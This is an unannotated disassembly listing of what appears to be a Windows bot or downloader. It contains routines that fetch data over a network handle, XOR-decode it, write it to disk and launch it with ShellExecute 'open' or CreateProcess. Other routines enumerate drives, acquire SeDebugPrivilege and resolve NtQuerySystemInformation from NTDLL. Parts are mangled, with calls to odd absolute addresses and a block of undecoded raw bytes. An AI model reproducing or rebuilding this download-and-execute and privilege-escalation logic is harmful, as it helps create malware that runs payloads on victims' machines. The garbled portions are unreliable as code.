push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
call near ptr 26E0000h
nop
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CAFC4
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CAF8C
cmp eax, ebx
jl loc_41617B
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617B
sub [ebp+8], eax
jnz loc_416049
mov edi, [ebp-18h]
loc_4160E6: ; CODE XREF: ___:0041603Ej
push dword ptr [ebp-8]
call near ptr 26408F3h
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416922
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB000
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_4374B0
push eax
call sub_41B886
loc_41611F: ; CODE XREF: ___:00415FF6j
add esp, 14h
loc_416122: ; CODE XREF: ___:0041602Fj
cmp [ebp-50h], esi
jnz short loc_416147
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 14h
loc_416147: ; CODE XREF: ___:00416125j
lea eax, [ebp-3FCh]
push eax
call sub_4151AC
cmp edi, esi
pop ecx
jbe short loc_41615F
push edi
call dword_4CB00C
loc_41615F: ; CODE XREF: ___:00416156j
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push esi
call near ptr 26C0000h
nop
loc_41617B: ; CODE XREF: ___:004160C9j
; ___:004160D4j
push esi
mov esi, offset dword_437498
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
push esi
call sub_4151AC
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB00C
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push ebx
call near ptr 26C0000h
nop
loc_4161BC: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 26509B6h
nop
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_4293C4
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 26E0921h
cmp eax, 0FFFFFFFFh
jnz short loc_416246
push offset unk_437614
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_416246: ; CODE XREF: ___:0041623Dj
push eax
call near ptr 26408F3h
nop
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626E
push offset unk_4375E4
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_41626E: ; CODE XREF: ___:00416265j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_41629F
push offset unk_4375C4
loc_41628C: ; CODE XREF: ___:00416244j
; ___:0041626Cj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639B
; ---------------------------------------------------------------------------
loc_41629F: ; CODE XREF: ___:00416285j
mov esi, 1000h
loc_4162A4: ; CODE XREF: ___:0041630Aj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
mov edi, eax
cmp edi, ebx
jz loc_41636B
cmp edi, 0FFFFFFFFh
jz short loc_41630C
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CAF70
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
jmp short loc_4162A4
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: ___:004162D4j
lea eax, [ebp-4C4h]
push offset dword_437498
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push 1
nop
call near ptr 26C0000h
loc_41636B: ; CODE XREF: ___:004162CBj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437598
push eax
call sub_41B886
add esp, 14h
loc_41639B: ; CODE XREF: ___:0041629Aj
cmp [ebp-14h], ebx
jnz short loc_4163C0
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
add esp, 14h
loc_4163C0: ; CODE XREF: ___:0041639Ej
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DB
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DB: ; CODE XREF: ___:004163D0j
cmp [ebp+8], ebx
jbe short loc_4163E9
push dword ptr [ebp+8]
call dword_4CB00C
loc_4163E9: ; CODE XREF: ___:004163DEj
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
loc_4163F9: ; DATA XREF: sub_401ACD+6279o
; sub_401ACD+6AB9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CAF24
call dword_4CAE78
cmp eax, esi
mov [ebp-18h], eax
jz loc_416885
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call near ptr 26E0921h
nop
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C0
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_4377E0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A3
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4164A3: ; CODE XREF: ___:00416481j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
pop ecx
push esi
call near ptr 26C0000h
nop
loc_4164C0: ; CODE XREF: ___:00416461j
xor edi, edi
nop
call near ptr 267098Eh
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DA: ; CODE XREF: ___:004165ADj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CAE80
cmp [ebp-34h], esi
jz short loc_41651E
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EB
pop ecx
pop ecx
loc_41651E: ; CODE XREF: ___:0041650Bj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 26D0000h
cmp edi, ebx
jnb short loc_41655C
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416546
mov eax, [ebp+8]
loc_416546: ; CODE XREF: ___:00416541j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655C: ; CODE XREF: ___:00416538j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416569
cmp edi, [ebp-3Ch]
ja short loc_4165B3
loc_416569: ; CODE XREF: ___:00416562j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416583
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4377B8
jmp short loc_416593
; ---------------------------------------------------------------------------
loc_416583: ; CODE XREF: ___:0041656Fj
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437790
loc_416593: ; CODE XREF: ___:00416581j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43DCB0
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DA
loc_4165B3: ; CODE XREF: ___:00416567j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416608
cmp edi, [ebp-3Ch]
jz short loc_416608
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437764
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416608: ; CODE XREF: ___:004165BDj
; ___:004165C2j
nop
call near ptr 267098Eh
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
nop
call near ptr 26408F3h
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416692
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416692
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_43773C
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416692: ; CODE XREF: ___:0041663Aj
; ___:0041664Cj
cmp [ebp-14h], esi
jz loc_4168D2
cmp dword ptr [ebp-44h], 1
jz loc_41678D
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_437704
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670D
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_41670D: ; CODE XREF: ___:004166EBj
lea eax, [ebp-510h]
push eax
call sub_4151AC
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D2
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CAEE0
cmp [ebp-30h], esi
jnz loc_4168D2
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_4376E8
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 24h
jmp loc_4168D2
; ---------------------------------------------------------------------------
loc_41678D: ; CODE XREF: ___:0041669Fj
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_4376A4
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4167F5: ; CODE XREF: ___:004167D3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D128
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2640BCCh
cmp eax, edi
jnz short loc_416877
call dword_4CAECC
call sub_418359
push esi
nop
call near ptr 77E75CB5h
loc_416877: ; CODE XREF: ___:00416863j
lea eax, [ebp-148h]
push eax
push offset unk_437670
jmp short loc_416891
; ---------------------------------------------------------------------------
loc_416885: ; CODE XREF: ___:0041643Ej
lea eax, [ebp-248h]
push eax
push offset unk_437644
loc_416891: ; CODE XREF: ___:00416883j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4168C5: ; CODE XREF: ___:004168A3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
pop ecx
loc_4168D2: ; CODE XREF: ___:00416695j
; ___:0041671Ej ...
push dword ptr [ebp-18h]
call dword_4CAFA8
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26C0000h
; =============== S U B R O U T I N E =======================================
sub_4168EB proc near ; CODE XREF: ___:00416517p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416907
loc_4168F7: ; CODE XREF: sub_4168EB+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F7
locret_416907: ; CODE XREF: sub_4168EB+Aj
retn
sub_4168EB endp
; =============== S U B R O U T I N E =======================================
sub_416908 proc near ; CODE XREF: sub_401ACD+5841p
; sub_401ACD+5969p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416922 proc near ; CODE XREF: sub_40F96A+458p
; sub_40F96A+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D2BA8
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416947: ; CODE XREF: sub_416922+5Bj
; sub_416922+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416985
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416947
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416947
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416922+4Bj
dec esi
mov eax, edi
loc_416988: ; CODE XREF: sub_416922+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416997
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416988
; ---------------------------------------------------------------------------
loc_416997: ; CODE XREF: sub_416922+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416922 endp
; =============== S U B R O U T I N E =======================================
sub_4169A1 proc near ; CODE XREF: sub_416B56+51p
; sub_416B56+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFD4
sub eax, 0
jz short loc_4169E4
dec eax
jz short loc_4169DE
dec eax
dec eax
jz short loc_4169D8
dec eax
jz short loc_4169D2
dec eax
jz short loc_4169CC
dec eax
jz short loc_4169C6
mov eax, offset word_437834
retn
; ---------------------------------------------------------------------------
loc_4169C6: ; CODE XREF: sub_4169A1+1Dj
mov eax, offset off_437830
retn
; ---------------------------------------------------------------------------
loc_4169CC: ; CODE XREF: sub_4169A1+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_4169A1+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D8: ; CODE XREF: sub_4169A1+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DE: ; CODE XREF: sub_4169A1+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E4: ; CODE XREF: sub_4169A1+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EA proc near ; CODE XREF: sub_416A32+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CAE64
test eax, eax
jz short loc_416A1F
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A1F: ; CODE XREF: sub_4169EA+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A32 proc near ; CODE XREF: sub_416B56+17p
; sub_41AA42+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EA
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B10
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B42
; ---------------------------------------------------------------------------
loc_416B10: ; CODE XREF: sub_416A32+2Cj
; sub_416A32+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B42: ; CODE XREF: sub_416A32+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B56 proc near ; CODE XREF: sub_416C28+17p
; sub_416C28+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BC9
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437884
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BC9: ; CODE XREF: sub_416B56+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437848
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFD: ; CODE XREF: sub_416B56+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_500]
push eax
call sub_4151AC
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C49
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
jmp short loc_416CAA
; ---------------------------------------------------------------------------
loc_416C49: ; CODE XREF: sub_416C28+9j
push esi
push edi
push ebx
push ebx
call dword_4CAEDC
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CAEDC
cmp [edi], bl
mov esi, edi
jz short loc_416CA1
loc_416C6D: ; CODE XREF: sub_416C28+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C90
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
loc_416C90: ; CODE XREF: sub_416C28+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6D
loc_416CA1: ; CODE XREF: sub_416C28+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAA: ; CODE XREF: sub_416C28+1Fj
pop ebx
pop ebp
retn
sub_416C28 endp
; ---------------------------------------------------------------------------
byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo
dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh
dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h
dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h
dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
dd 90535959h, 2A923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h
dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2319570h, 75C08590h
dd 0FC75FF8Fh, 9172E890h, 75FF0230h, 0B8858D14h, 0FFFFFFFDh
dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch
dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
dd 50FFFFFEh, 0E9E89056h, 85023194h, 56B175C0h, 90EEE890h
dd 458B0230h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F4
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F59
cmp eax, 2
jz short loc_416F59
push offset unk_437B00
jmp loc_417098
; ---------------------------------------------------------------------------
loc_416F59: ; CODE XREF: sub_416F1A+2Ej
; sub_416F1A+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
test eax, eax
pop ecx
jz loc_417093
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 2680C3Fh
mov esi, dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D3DEC, eax
call esi
